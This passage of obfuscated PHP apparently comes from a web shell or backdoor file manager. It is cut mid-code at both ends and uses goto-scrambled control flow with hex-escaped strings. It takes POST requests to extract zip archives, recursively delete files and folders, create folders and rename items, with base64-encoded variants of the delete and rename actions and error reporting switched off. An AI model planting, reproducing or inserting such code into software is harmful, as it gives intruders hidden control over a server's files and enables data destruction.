"\x41\x72\143\x68\151\166\145\40\145\x78\164\162\x61\x63\164\x65\144\56"]; goto VA6N1; cRP3C: XdCvy: goto wCHB7; ZStaa: $sL87A = new ZipArchive(); goto odE1u; TIswo: goto Jwd91; goto FI13k; XWfqh: SBkup: goto QaCI8; D7wuX: wHDRR: goto ncFNr; lIE4k: throw new Exception("\x49\156\166\x61\154\151\x64\40\160\x61\x74\x68\x2e"); goto fxDgE; VV7rO: goto J8Hwp; goto dLEWk; Z_o5N: SWmWW: goto jHCTI; lh2M7: snvAt: goto jE6fE; Avkfl: Jwd91: goto uqoyX; BByaI: ldbes: goto iZdrJ; jHCTI: if (!realpath($z2BSB) || !is_file(realpath($z2BSB)) || pathinfo($z2BSB, PATHINFO_EXTENSION) !== "\x7a\x69\160") { goto f5V3A; } goto tY6zo; VA6N1: goto JWSHB; goto D7wuX; fxDgE: goto OMDSh; goto C9fwy; x7Z2k: LhsJm: goto YPmug; dLEWk: cPEr3: goto b9mB7; SzXAn: pbgqt: goto mFXUZ; OvxVC: OMDSh: goto nXvwZ; rYcWU: goto SBkup; goto jQUTH; r8eF2: Pqq8B: goto wX16h; njXQ7: f5V3A: goto jR6xL; axdhb: $sL87A->close(); goto w4FOl; Mepua: oPRxv: goto iEN5Z; VUCJH: JWSHB: goto auwZm; LeL9S: goto ldbes; goto x7Z2k; iEN5Z: $sL87A->extractTo(dirname($z2BSB)); goto h3n7U; wCHB7: goto VUfJ8; goto AqQ0q; jE6fE: throw new Exception("\x50\x48\120\x20\x5a\x49\x50\40\145\170\x74\145\156\x73\151\x6f\156\x20\x6e\x6f\x74\x20\x69\x6e\x73\164\141\x6c\154\x65\144\56"); goto RMSlH; wX16h: $z2BSB = isset($_POST["\160\x61\x74\x68"]) ? SGVDX($_POST["\x70\141\x74\150"]) : ''; goto Ww2jv; squu0: xEj6H: goto zlPkJ; r2LTu: goto oPRxv; goto ragZs; ncFNr: $nzCXI = isset($_POST["\160\141\x74\150"]) ? SgvDx($_POST["\x70\x61\164\150"]) : __DIR__; goto byaW4; jR6xL: goto X1Jnk; goto Mepua; h0cbd: CT8Gm: goto eJW4g; iZdrJ: goto AANs4; goto lh2M7; PpX8r: if (!BsWkk($nzCXI)) { goto XdCvy; } goto OxrMy; QaCI8: if (!class_exists("\x5a\x69\x70\101\162\x63\150\151\x76\x65")) { goto LhsJm; } goto LeL9S; b9mB7: goto pbgqt; goto h0cbd; RlmJ2: AANs4: goto ZStaa; nXvwZ: dUUq0: goto XKG12; C9fwy: X1Jnk: goto isG8W; NY_pz: HvITV: goto vs83C; jQUTH: d2O0t: goto V9kie; enePI: goto CT8Gm; goto SzXAn; mFXUZ: throw new Exception("\x46\x61\x69\x6c\x65\x64\40\x74\157\x20\x6f\160\x65\x6e\x20\x61\x72\143\150\x69\x76\x65\56"); goto YFpow; TwQIz: ZTD_o: goto t9GLe; YFpow: goto ZTD_o; goto Z_o5N; AqQ0q: lEKP2: goto axdhb; auwZm: JyFQa: goto EzPfz; RMSlH: goto ZTjgx; goto squu0; odE1u: goto andVv; goto TwQIz; ragZs: andVv: goto v4r24; byaW4: goto fI8AL; goto r8eF2; zlPkJ: goto lL1md; goto enePI; isG8W: throw new Exception("\111\156\x76\x61\x6c\x69\144\x20\x5a\111\120\40\146\x69\154\x65\x20\x70\x61\x74\150\56"); goto TIswo; rpiZJ: ZTjgx: goto BByaI; YPmug: goto snvAt; goto rpiZJ; EzPfz: goto xEj6H; goto OyLcG; XKG12: goto Pqq8B; goto NY_pz; Ww2jv: goto SWmWW; goto OvxVC; OyLcG: VUfJ8: goto lIE4k; tY6zo: goto pMl89; goto njXQ7; FI13k: fI8AL: goto PpX8r; jEiNc: goto HvITV; goto VUCJH; vs83C: J8Hwp: goto r2LTu; OxrMy: goto dUUq0; goto cRP3C; w4FOl: goto d2O0t; goto Avkfl; uqoyX: pMl89: goto rYcWU; t9GLe: goto JyFQa; goto jEiNc; eJW4g: case "\144\x65\x6c\x65\x74\145": goto FhfIf; EQejm: pcOX7: goto B5uxd; X6SHv: YRq2l: goto dxso_; WnbY0: $Tyg9r = ["\163\x75\143\x63\145\x73\163" => true, "\155\x65\x73\x73\x61\x67\x65" => "\111\164\x65\155\163\x20\144\145\154\145\x74\145\144\x2e"]; goto KjYc8; NOt3Z: goto ez1_F; goto LvuHi; LXb_K: goto pcOX7; goto QGGlK; i3Pui: goto krtQA; goto sm2bU; xhPNr: goto OniHh; goto zdUt0; tCkzD: $nzCXI = isset($_POST["\160\x61\x74\x68"]) ? sgvdX($_POST["\160\x61\x74\150"]) : __DIR__; goto NcNxq; TdUBf: goto lL1md; goto LXb_K; pW6m8: foreach ($pTj1O as $MtJH4) { goto Q0fPp; ukjVr: goto YiqOO; goto z_Hsr; YNSQP: YiqOO: goto ow3Ze; DsDPa: goto L3rxm; goto IoElo; KSN74: goto LsLLl; goto rCRzE; IoElo: QeGGk: goto KSN74; Q0fPp: goto DwV5N; goto xdoJm; V4UBw: mzXDE: goto stAXf; z_Hsr: xOpQr: goto Yk8dY; jGANl: goto UKaND; goto Rk8Ev; stAXf: goto axCEH; goto MPx6R; Yk8dY: if (file_exists($TeEsf)) { goto QeGGk; } goto DsDPa; rCRzE: DwV5N: goto O5Y0B; MPx6R: LsLLl: goto ievfN; O5Y0B: $TeEsf = rtrim($nzCXI, "\57") . "\x2f" . $MtJH4; goto qjQ1x; xdoJm: UKaND: goto V4UBw; qjQ1x: goto xOpQr; goto YNSQP; ievfN: b0PFu($TeEsf); goto ukjVr; ow3Ze: L3rxm: goto jGANl; Rk8Ev: axCEH: goto M8vqh; M8vqh: TzFj6: goto l0dv2; l0dv2: } goto ztpT7; e9uos: goto eyx4o; goto TOkUs; wl_L1: goto ZbKoe; goto EQejm; JEGMk: $pTj1O = isset($_POST["\151\x74\145\x6d\x73"]) && is_array($_POST["\151\164\x65\x6d\x73"]) ? $_POST["\x69\x74\x65\x6d\163"] : []; goto i3Pui; KjYc8: goto m6HM6; goto T2pz9; UyX2E: EAVyH: goto WnbY0; T2pz9: eyx4o: goto FIQWJ; cDeLS: goto EAVyH; goto UyX2E; tH57W: rbp84: goto cDeLS; dxso_: throw new Exception("\x4e\157\40\x69\x74\x65\155\x73\40\163\x65\154\145\143\x74\145\144\40\146\x6f\162\x20\144\145\x6c\145\x74\x69\157\156\x2e"); goto xhPNr; NcNxq: goto KpqIR; goto hqbj_; FhfIf: goto kGCWi; goto X6SHv; LvuHi: nztOn: goto Cqj2i; zdUt0: kGCWi: goto tCkzD; DAEz4: if (empty($pTj1O)) { goto nztOn; } goto NOt3Z; uJtt1: m6HM6: goto TdUBf; QGGlK: krtQA: goto DAEz4; ztpT7: SI5yA: goto wl_L1; FIQWJ: function B0pfU($MtJH4) { goto Lpqv2; JhEr9: goto GTr69; goto euIDS; oQ5md: goto llli8; goto qsvG_; pSV3p: WZaOF: goto iX1MZ; YBqoM: goto YIdSR; goto NtKqC; NtKqC: Ttmib: goto dLOCn; FQjUA: FuSVi: goto nyejq; Qtm1Y: goto EJyTT; goto t56x6; V_hTk: goto Ttmib; goto xyah6; gq6RE: QuPG_: goto oQ5md; Lpqv2: goto XryAj; goto EDiMG; EDiMG: XryAj: goto OtsHU; PtpPS: $bZi_3 = array_diff(scandir($MtJH4), ["\x2e", "\56\x2e"]); goto tdahS; XCPRr: OJPHv: goto y_TVu; t56x6: NAgas: goto gq6RE; Ofp2L: wSGby: goto d9CBy; d87Dx: EJyTT: goto JhEr9; iX1MZ: goto NAgas; goto d87Dx; OtsHU: if (!is_dir($MtJH4)) { goto wSGby; } goto wafhE; d9CBy: goto OJPHv; goto XCPRr; wafhE: goto YzW7Q; goto Ofp2L; bCOQa: foreach ($bZi_3 as $Vo918) { goto rUn6S; OHEy_: H50kL: goto SQtid; rUn6S: b0pfU("{$MtJH4}\x2f{$Vo918}"); goto OHEy_; SQtid: ygN0J: goto F4o3v; F4o3v: } goto pSV3p; nyejq: GTr69: goto V_hTk; Gbu0U: GtZUe: goto bCOQa; xyah6: llli8: goto oJwOF; ZJ7gM: goto FuSVi; goto Gbu0U; WuXnQ: YzW7Q: goto YBqoM; oJwOF: return rmdir($MtJH4); goto ZJ7gM; YRX1I: opqbt: goto WuXnQ; tdahS: goto GtZUe; goto FQjUA; y_TVu: return unlink($MtJH4); goto Qtm1Y; qsvG_: YIdSR: goto PtpPS; euIDS: goto opqbt; goto YRX1I; dLOCn: } goto T0CCC; hqbj_: KpqIR: goto JEGMk; RNu_n: ez1_F: goto e9uos; TOkUs: Hk3uo: goto pW6m8; T0CCC: goto Hk3uo; goto uJtt1; Cqj2i: goto YRq2l; goto LndDC; sm2bU: ZbKoe: goto tH57W; LndDC: OniHh: goto RNu_n; B5uxd: case "\144\x65\154\145\164\145\137\142\66\64": goto rWm5K; bdY7B: goto VRFE8; goto HAX0g; YcxPt: C4ZzF: goto eTM93; K4qFq: pu1II: goto DCy_Y; XVS2f: Qyt8q: goto Ne1oV; DBct3: kCuv0: goto Cc6WF; nrf2U: goto fXmBx; goto j04iD; HAX0g: HY1Of: goto J4iHH; duiJZ: goto tLNTe; goto O2Slg; OJskQ: foreach ($PcQAf as $vBPna) { goto f_9MD; f_9MD: $pTj1O[] = base64_decode($vBPna); goto QGP4D; qjrb8: qloYm: goto FNpwP; QGP4D: yk6Yj: goto qjrb8; FNpwP: } goto K4qFq; WtJ_K: function dV0CQ($MtJH4) { goto l3jwf; BeJnZ: return rmdir($MtJH4); goto fbkbG; iH480: UANhv: goto pSi1J; NnmbM: return unlink($MtJH4); goto m6oda; gV_MF: goto M7nVh; goto wn3y9; l3jwf: goto mERWX; goto HGLRM; HpvhX: ETaa3: goto kTG93; KNLem: goto ZkERh; goto W246S; e34oH: teXWF: goto ejgQ6; UpHJt: goto SGagR; goto tsXCK; fbkbG: goto vzAkt; goto BI8Ev; BI8Ev: ZkERh: goto NnmbM; HGLRM: MbsJO: goto DDLwq; mwzhL: mERWX: goto apt7q; m6oda: goto UANhv; goto BXW1i; rNiaw: ZVsl9: goto gV_MF; dNacv: goto PrA17; goto mwzhL; TG4zA: N5q31: goto KNLem; i3oOf: goto MbsJO; goto iH480; tsXCK: M7nVh: goto Itwq5; apt7q: if (!is_dir($MtJH4)) { goto N5q31; } goto YDZ22; W246S: vzAkt: goto rNiaw; BXW1i: PAc95: goto yjeMe; Y5q4C: $bZi_3 = array_diff(scandir($MtJH4), ["\x2e", "\56\56"]); goto i3oOf; DDLwq: foreach ($bZi_3 as $Vo918) { goto XmAOw; xKZPc: FsRTo: goto eyQOg; eyQOg: yXE7F: goto g23ak; XmAOw: DV0Cq("{$MtJH4}\57{$Vo918}"); goto xKZPc; g23ak: } goto e34oH; YDZ22: goto ZO2jK; goto TG4zA; wn3y9: SGagR: goto Y5q4C; yjeMe: HGGoZ: goto dNacv; ejgQ6: goto PAc95; goto BMZWo; ZTTa7: goto ETaa3; goto HpvhX; BMZWo: PrA17: goto BeJnZ; kTG93: ZO2jK: goto UpHJt; pSi1J: goto ZVsl9; goto ZTTa7; Itwq5: } goto raHjW; raHjW: goto Qyt8q; goto aNc_7; TmC22: mzKzI: goto OXum0; j04iD: MUTth: goto QRzwj; Ne1oV: foreach ($pTj1O as $MtJH4) { goto gW3oR; tKMYb: aaGLp: goto I7KcR; uKd2c: IITf9: goto tKMYb; URepm: $TeEsf = rtrim($nzCXI, "\x2f") . "\57" . $MtJH4; goto LPcoQ; zr41v: uiNtr: goto z46AO; piv6W: TZutt: goto URepm; P0vjO: goto IITf9; goto piv6W; ifdsP: if (file_exists($TeEsf)) { goto ah2pA; } goto FeWWI; NR9jh: DV0cq($TeEsf); goto P0vjO; LPcoQ: goto PLUBr; goto aMPsZ; aMPsZ: XlMa9: goto zr41v; I7KcR: goto XlMa9; goto uaIzK; FeWWI: goto aaGLp; goto V30h2; Q6DQY: gqLgu: goto N7Z6F; YyvRv: nGo1a: goto Q6DQY; JD4M6: PLUBr: goto ifdsP; gW3oR: goto TZutt; goto uKd2c; uaIzK: IWlfs: goto NR9jh; MAgM4: goto IWlfs; goto YyvRv; z46AO: goto nGo1a; goto JD4M6; V30h2: ah2pA: goto MAgM4; N7Z6F: } goto Ho2LV; OXum0: goto VJ85a; goto Fajaw; iAPPC: V40KV: goto CzVQU; D_15x: goto pQOU_; goto qFZJa; O2Slg: ZlpUz: goto cNJQ1; rL6hi: VJ85a: goto WtJ_K; DCy_Y: goto vchtH; goto rL6hi; YxrV4: tLNTe: goto TmC22; Fajaw: vchtH: goto YcxPt; yU7Aa: throw new Exception("\x4e\x6f\x20\151\x74\x65\x6d\163\x20\163\145\154\145\x63\164\x65\x64\40\146\157\x72\40\144\145\x6c\145\164\x69\157\156\56"); goto duiJZ; Cc6WF: E58St: goto KvXcj; rWm5K: goto HY1Of; goto YxrV4; J4iHH: $nzCXI = isset($_POST["\x70\141\164\x68"]) ? SgvdX($_POST["\160\x61\x74\x68"]) : __DIR__; goto D5kqM; HecrX: goto mzKzI; goto CuHmH; o8xzM: ouDj9: goto lLIPL; CzVQU: $Tyg9r = ["\x73\x75\x63\x63\x65\163\x73" => true, "\155\x65\163\163\x61\147\x65" => "\x49\164\x65\155\x73\x20\x64\x65\154\x65\164\x65\144\x2e"]; goto nrf2U; OWmhG: pQOU_: goto OJskQ; f8bGL: goto ZlpUz; goto OWmhG; g1kBf: goto kCuv0; goto iAPPC; cNJQ1: $pTj1O = []; goto D_15x; kLoQo: goto MUTth; goto XVS2f; aNc_7: VRFE8: goto yU7Aa; D5kqM: goto ouDj9; goto DBct3; nWPD2: IMOnj: goto FPKoV; lLIPL: $PcQAf = isset($_POST["\x69\x74\x65\x6d\163\137\x62\66\64"]) && is_array($_POST["\x69\164\x65\x6d\x73\x5f\142\x36\64"]) ? $_POST["\151\164\145\155\163\137\x62\66\x34"] : []; goto f8bGL; Ho2LV: AAidS: goto g1kBf; FPKoV: if (empty($pTj1O)) { goto FC0Kz; } goto HecrX; CuHmH: FC0Kz: goto bdY7B; Sn1ZV: goto lL1md; goto kLoQo; eTM93: goto IMOnj; goto nWPD2; KvXcj: goto V40KV; goto o8xzM; qFZJa: fXmBx: goto Sn1ZV; QRzwj: case "\x63\x72\x65\x61\164\x65\x5f\146\x6f\154\x64\145\x72": goto yvOJM; NMx2q: goto YgYNA; goto dB4bQ; X9aEu: mrwOf: goto lpLyK; zG_dq: hg8rb: goto cG2Wq; IsUQ3: goto J0mjR; goto XUVcT; QDxF9: QJ51E: goto gWO1o; a3sN7: T5X5T: goto BDtT4; nARIA: oqucS: goto SaIsC; Q9yVq: goto mrwOf; goto zG_dq; wmUSp: goto EjBKQ; goto fIKUC; rVsgJ: oG3po: goto DwAnS; yvOJM: goto oG3po; goto SagAN; VNJlW: throw new Exception("\103\157\165\x6c\144\40\156\x6f\x74\40\x63\x72\x65\x61\x74\145\40\146\x6f\154\x64\145\162\x2e"); goto qRv3n; KIj4c: goto j0qRE; goto nARIA; XUVcT: mBgUl: goto rtz2E; uTrQr: YgYNA: goto xdBez; SagAN: j0qRE: goto VNJlW; iK1dV: mPSq8: goto DTrnT; QDQIH: M23Ya: goto sygus; lpLyK: if (!mkdir(rtrim($nzCXI, "\x2f") . "\57" . $qswgT)) { goto CU234; } goto d1exb; TPawp: goto mPSq8; goto uTrQr; unI5f: goto T5X5T; goto H8oPc; fIKUC: OKxv1: goto EKUo8; SaIsC: goto lL1md; goto RNVFZ; EKUo8: throw new Exception("\x49\x6e\x76\141\x6c\151\144\40\x70\x61\164\150\40\157\x72\x20\146\157\154\x64\x65\162\40\156\x61\155\145\56"); goto NMx2q; H8oPc: OGVu7: goto PDgAG; TayX_: goto Ym1jm; goto a3sN7; d1exb: goto ASHnR; goto ci4sp; gWO1o: goto oqucS; goto rVsgJ; xdBez: J0mjR: goto Q9yVq; qRv3n: goto OGVu7; goto QDQIH; rtz2E: goto OKxv1; goto X9aEu; ci4sp: CU234: goto KIj4c; GsBYo: if (!bSwKk($nzCXI) || empty($qswgT)) { goto mBgUl; } goto IsUQ3; dB4bQ: EjBKQ: goto QDxF9; a_UfG: goto M23Ya; goto Jur25; sygus: $qswgT = isset($_POST["\x6e\141\x6d\x65"]) ? str_replace(["\x2e\56", "\x2f", "\x5c"], '', $_POST["\156\141\155\x65"]) : ''; goto TayX_; DwAnS: $nzCXI = isset($_POST["\160\141\x74\150"]) ? Sgvdx($_POST["\x70\141\164\150"]) : __DIR__; goto a_UfG; PDgAG: goto QJ51E; goto TPawp; BDtT4: $Tyg9r = ["\x73\165\143\143\145\x73\163" => true, "\x6d\145\x73\163\x61\x67\145" => "\106\157\154\x64\145\x72\x20\143\162\145\141\x74\x65\x64\56"]; goto wmUSp; DTrnT: ASHnR: goto unI5f; Jur25: Ym1jm: goto GsBYo; RNVFZ: goto hg8rb; goto iK1dV; cG2Wq: case "\162\145\x6e\x61\155\145": goto KTUjM; sroJC: throw new Exception("\103\x6f\x75\x6c\x64\40\156\157\x74\40\162\x65\156\x61\x6d\x65\40\151\164\145\155\x2e\x20\x43\x68\x65\143\153\x20\160\x65\x72\x6d\151\163\x73\x69\157\156\163\x2e"); goto GVMa0; fnqaz: throw new Exception("\123\157\165\x72\x63\145\x20\x69\x74\x65\155\x20\x64\x6f\x65\163\x20\156\x6f\x74\40\145\170\151\163\164\40\x61\164\x3a\40" . $kPjg4); goto F30RR; aUg7Q: $nzCXI = isset($_POST["\x70\x61\164\x68"]) ? SGvdX($_POST["\x70\141\164\x68"]) : __DIR__; goto IdUTg; OXygO: adR7M: goto Le1CO; GVMa0: goto yfHSp; goto WAFL1; Nldei: cq_Jp: goto uJs4f; eiZ_r: goto UdMCr; goto pLeOP; yV7rt: if (!is_writable(dirname($kPjg4))) { goto yQDTw; } goto PwP8h; aqdmS: goto YSw3w; goto vgUip; mwVQJ: throw new Exception("\111\x6e\x76\x61\x6c\151\x64\x20\x64\141\164\x61\40\146\157\x72\40\162\145\x6e\x61\155\151\x6e\x67\x2e"); goto aOfXe; WNpYK: goto ZyMy4; goto OXygO; PwP8h: goto aLhgY; goto NWApz; lxnQi: goto f0JMY; goto WYknS; WYknS: pcMub: goto rGYDl; E9gR5: goto lL1md; goto kEONk; QHC8D: w0K6K: goto aUg7Q; SgIFi: $kPjg4 = rtrim($nzCXI, "\57") . "\57" . $oGtOZ; goto rfeLo; WAFL1: A4sGb: goto E9gR5; vbunA: cZ6hE: goto qBtzy; KTUjM: goto w0K6K; goto jeZNI; C8nF_: TRooY: goto Ah2xK; EbSGQ: tQqSg: goto ZtBNz; zEIPe: goto OM_ro; goto PL0Jy; vgUip: hP3UL: goto mwVQJ; I0C3Y: f0JMY: goto ylsJO; rfeLo: goto PBdqO; goto KSJBm; sTPQL: goto mhNPh; goto UCHRT; GFw1O: ZyMy4: goto GJNjn; qBtzy: if (!bsWKk($nzCXI) || empty($oGtOZ) || empty($govbQ)) { goto SPRiQ; } goto z92iM; RFy9Q: YSw3w: goto O19Gq; ouANX: CqS13: goto MkWTU; Nr0ti: yvRDQ: goto SgIFi; KSJBm: IKlaP: goto EbSGQ; IdUTg: goto lnvvG; goto sYWcK; JjiqU: goto adR7M; goto RSLis; ZtBNz: goto yvRDQ; goto Y7aA_; hrH3E: throw new Exception("\104\151\x72\x65\143\x74\x6f\162\171\x20\151\163\40\x6e\x6f\x74\x20\167\162\151\x74\141\x62\154\145\x2e"); goto aqdmS; UFWjs: goto h5dfp; goto Nr0ti; uJs4f: By1E9: goto HTXA3; aOfXe: goto IKlaP; goto nFtua; pLeOP: I3OzQ: goto zEIPe; kQxMe: goto TRooY; goto RFy9Q; U80mT: goto cq_Jp; goto QHC8D; kBdTd: $oGtOZ = isset($_POST["\x6f\154\144\137\156\x61\155\x65"]) ? $_POST["\x6f\154\x64\137\x6e\x61\x6d\x65"] : ''; goto JjiqU; KbrLG: goto wBiXw; goto vbunA; BY1dG: goto ywIcJ; goto C8nF_; z7web: K5BII: goto KBP2T; Lro80: goto hP3UL; goto Nldei; dB5p2: IccrT: goto BY1dG; nFtua: yfHSp: goto GevtQ; sYWcK: mhNPh: goto yV7rt; Le1CO: $govbQ = isset($_POST["\x6e\x65\167\x5f\156\141\155\x65"]) ? str_replace(["\56\x2e", "\57", "\134"], '', $_POST["\x6e\x65\167\137\x6e\x61\x6d\145"]) : ''; goto U1Avi; NWApz: yQDTw: goto UFWjs; XJJpI: if (!rename($kPjg4, $hcTVF)) { goto IccrT; } goto HNdjB; uYjJN: $hcTVF = rtrim($nzCXI, "\57") . "\57" . $govbQ; goto lxnQi; RSLis: ywIcJ: goto sroJC; TS0zA: goto K5BII; goto z7web; jeZNI: wBiXw: goto XJJpI; GI9Y3: PBdqO: goto uYjJN; HNdjB: goto M7uEo; goto dB5p2; HTXA3: goto A4sGb; goto GI9Y3; z92iM: goto tQqSg; goto TwScX; Y7aA_: OM_ro: goto fnqaz; UCHRT: lnvvG: goto kBdTd; TwScX: SPRiQ: goto Lro80; PL0Jy: h5dfp: goto hrH3E; ylsJO: clearstatcache(); goto TS0zA; O19Gq: aLhgY: goto KbrLG; GJNjn: $Tyg9r = ["\x73\165\143\143\x65\x73\163" => true, "\x6d\x65\163\x73\x61\147\145" => "\111\164\x65\155\40\x72\145\x6e\141\x6d\145\144\x20\x73\x75\x63\x63\145\163\163\x66\x75\x6c\x6c\x79\x2e"]; goto U80mT; MkWTU: UdMCr: goto sTPQL; Ah2xK: M7uEo: goto WNpYK; kEONk: goto pcMub; goto GFw1O; U1Avi: goto cZ6hE; goto ouANX; KBP2T: if (!file_exists($kPjg4)) { goto I3OzQ; } goto eiZ_r; F30RR: goto CqS13; goto I0C3Y; GevtQ: goto By1E9; goto kQxMe; rGYDl: case "\162\145\156\x61\x6d\145\137\142\x36\64": goto gwxhY; j_d0T: goto jrgp2; goto jSZ2H; cec9o: goto Cp304; goto FBeLw; YHh0G: if (!rename($dZGFP, $hcTVF)) { goto br11Q; } goto smMdI; nRyA5: goto lL1md; goto alOcq; opTXl: re5Mv: goto d07TA; qemI5: TWB1z: goto J24Nh; MCdO3: $sT9Yq = isset($_POST["\157\154\144\137\156\x61\x6d\145\x5f\142\x36\x34"]) ? $_POST["\157\154\144\137\156\141\x6d\x65\137\142\66\x34"] : ''; goto h3m8L; HZP9v: unlink($dZGFP); goto nFY3X; rs0eK: throw new Exception("\x43\x6f\165\154\144\x20\x6e\157\164\x20\160\145\162\146\x6f\x72\155\40\x66\151\156\x61\x6c\x20\162\x65\156\141\155\x65\x2e\x20\117\162\151\147\x69\x6e\x61\154\x20\x66\x69\154\145\40\155\141\171\x20\142\x65\x20\162\145\163\x74\157\162\x65\x64\x2e"); goto Hax3G; Ojfu0: $kPjg4 = rtrim($nzCXI, "\57") . "\57" . $oGtOZ; goto BOW3I; YU78m: hez_y: goto jnyIE; IZzVA: goto mr16I; goto l1dF4; gJHI2: QVEV6: goto cnEhe; jnyIE: goto O7A1x; goto IsKW9; XHFIe: nl4mp: goto hZfT7; WDnzI: goto okQwj; goto w92FX; QdLsT: $oGtOZ = base64_decode($sT9Yq); goto hqs0x; PvXZq: G5XNG: goto eqNpq; pDnNV: Vm88S: goto hiRyx; UmbD6: throw new Exception("\103\157\165\x6c\x64\x20\156\157\x74\x20\x63\162\x65\141\164\x65\40\x74\145\x6d\160\x6f\x72\141\162\x79\40\x63\x6f\160\171\x2e"); goto Sas5s; YlGv8: unlink($dZGFP); goto cec9o; J4KFN: K8wRc: goto H_Q6Q; nNsJ8: goto d7uw8; goto uVrOK; IsKW9: fDIlV: goto YHh0G; Hax3G: goto sd3m8; goto qemI5; LYZ3G: $dZGFP = $kPjg4 . "\56\x74\x78\164"; goto j_d0T; gd1PH: goto uMxB2; goto DVR9M; uzZri: QQxGM: goto LYZ3G; lZP_Q: if (!bswKK($nzCXI) || empty($oGtOZ) || empty($govbQ)) { goto G5XNG; } goto SKo2G; UPLUn: Fjx2h: goto MCdO3; FDMkr: cKUTn: goto YlGv8; mfKFD: mr16I: goto gd1PH; Bfwad: Cp304: goto rs0eK; TW4p2: br11Q: goto nNsJ8; l1dF4: goto F46yb; goto N3_2u; N3_2u: Nosae: goto lZP_Q; AU6pb: if (!copy($kPjg4, $dZGFP)) { goto ZPehk; } goto UKWDa; smMdI: goto K8wRc; goto TW4p2; rI1HW: goto GknFI; goto bg36r; eqNpq: goto t1rRa; goto uLfbm; w92FX: iobhF: goto mfKFD; J24Nh: $Tyg9r = ["\x73\x75\x63\x63\145\x73\163" => true, "\155\x65\x73\x73\x61\x67\x65" => "\111\x74\145\x6d\x20\x72\x65\x6e\141\x6d\x65\x64\x20\x73\x75\143\143\145\163\163\x66\x75\x6c\154\x79\x20\x75\163\x69\156\x67\40\x62\66\64\x20\x6d\x65\x74\x68\157\144\56"]; goto MqHII; r2J8c: goto fDIlV; goto Wo4JF; msD8A: YUgLm: goto HZP9v; I2omn: goto wkGFu; goto vo2AA; YJBdV: goto c75du; goto AvXBy; UXDsp: throw new Exception("\111\x6e\166\141\x6c\151\x64\40\x64\141\164\141\40\x66\x6f\x72\40\x72\x65\156\141\x6d\x69\156\147\56"); goto WDnzI; Y47fu: copy($dZGFP, $kPjg4); goto NOj8D; lH9K0: okQwj: goto YU78m; wyR5L: t1rRa: goto UXDsp; cbKqV: goto QQxGM; goto pDnNV; m_C6K: nRnwN: goto nqQhe; v93Zh: r6n99: goto hz5Mb; H_Q6Q: goto TWB1z; goto XHFIe; Wo4JF: GknFI: goto UmbD6; NOj8D: goto cKUTn; goto Up11a; Di3Ul: uoHIe: goto pP7sR; hqs0x: goto nl4mp; goto v93Zh; hxrdl: $hcTVF = rtrim($nzCXI, "\x2f") . "\57" . $govbQ; goto cbKqV; FBeLw: uMxB2: goto nRyA5; NNXKD: GvM0N: goto gJHI2; fayYr: goto Fjx2h; goto msD8A; x26UI: wkGFu: goto r2J8c; MqHII: goto iobhF; goto UPLUn; I55CU: goto izBWY; goto NNXKD; WHDMc: ZPehk: goto rI1HW; alOcq: goto uoHIe; goto lH9K0; DVR9M: O7A1x: goto Ojfu0; d07TA: if (!unlink($kPjg4)) { goto cSZRU; } goto I2omn; cnEhe: goto re5Mv; goto Bfwad; vo2AA: cSZRU: goto TYxvJ; Up11a: F46yb: goto J4KFN; hiRyx: $nzCXI = isset($_POST["\160\x61\164\150"]) ? SgVDx($_POST["\x70\141\164\150"]) : __DIR__; goto fayYr; AvXBy: sd3m8: goto IZzVA; BOW3I: goto K4by9; goto m_C6K; UWqg2: K4by9: goto hxrdl; jSZ2H: jrgp2: goto AU6pb; gwxhY: goto Vm88S; goto uzZri; bg36r: izBWY: goto QdLsT; hZfT7: $govbQ = base64_decode($eQi8o); goto cl9VT; nFY3X: goto nRnwN; goto wyR5L; SKo2G: goto hez_y; goto PvXZq; nqQhe: throw new Exception("\x43\157\x75\x6c\x64\x20\x6e\157\x74\x20\x64\145\x6c\x65\x74\145\40\x6f\162\x69\147\151\x6e\x61\154\x20\146\151\154\x65\56"); goto YJBdV; cl9VT: goto Nosae; goto Di3Ul; hz5Mb: $eQi8o = isset($_POST["\x6e\x65\x77\137\156\x61\155\145\137\x62\66\x34"]) ? $_POST["\x6e\x65\x77\137\156\x61\x6d\x65\137\x62\x36\x34"] : ''; goto I55CU; Sas5s: goto GvM0N; goto FDMkr; TYxvJ: goto YUgLm; goto UWqg2; h3m8L: goto r6n99; goto opTXl; uVrOK: d7uw8: goto Y47fu; uLfbm: c75du: goto x26UI; UKWDa: goto QVEV6; goto WHDMc; pP7sR: } goto rTOQK; hOW1W: ljkGN: goto LNuYW; nbxHz: xoW6x: goto gz4Am; VkOol: itNFb: goto PWzdY; rreoX: Iz1Yh: goto iWNcm; iWNcm: goto dW6A0; goto TC3Xe; k4Dma: yqtL6: goto K4xRX; K4xRX: goto itNFb; goto hOW1W; LNuYW: } catch (Exception $It6MY) { $Tyg9r = ["\x73\165\143\x63\145\x73\x73" => false, "\155\145\163\163\141\147\x65" => $It6MY->getMessage()]; } goto O8587; MBSyP: error_reporting(0); goto lN583; aXf_v: MNhwf: goto GgJdS; WDS1w: goto CseDI; goto SMUPI; O3VoV: $Tyg9r = ["\x73\165\x63\143\145\x73\x73" => false, "\x6d\145\x73\163\141\x67\x65" => "\x49\x6e\x76\141\x6c\x69\x64\x20\x61\143\x74\151\x6f\156\56"]; goto CloNN; j1bgv: function Z3b6O($nzCXI) { return str_replace("\x5c", "\x2f", $nzCXI); } goto CHLm3; biVcE: goto f1_Qw; goto AooNt; jyDlw: goto YNPFG; goto iFeL4; rUU0y: header("\103\157\156\164\x65\x6e\x74\x2d\x54\171\x70\x65\x3a\40\141\160\x70\x6c\x69\143\x61\164\x69\x6f\x6e\x2f\x6a\163\x6f\x6e\x3b\40\x63\x68\141\x72\163\145\164\75\x75\164\x66\x2d\70"); goto biVcE; XZwg1: goto EuSY5; goto IcnW0; dZsJG: goto Qlfzv; goto jvptV; BPamV: YNPFG: goto rUU0y; p_EkM: echo 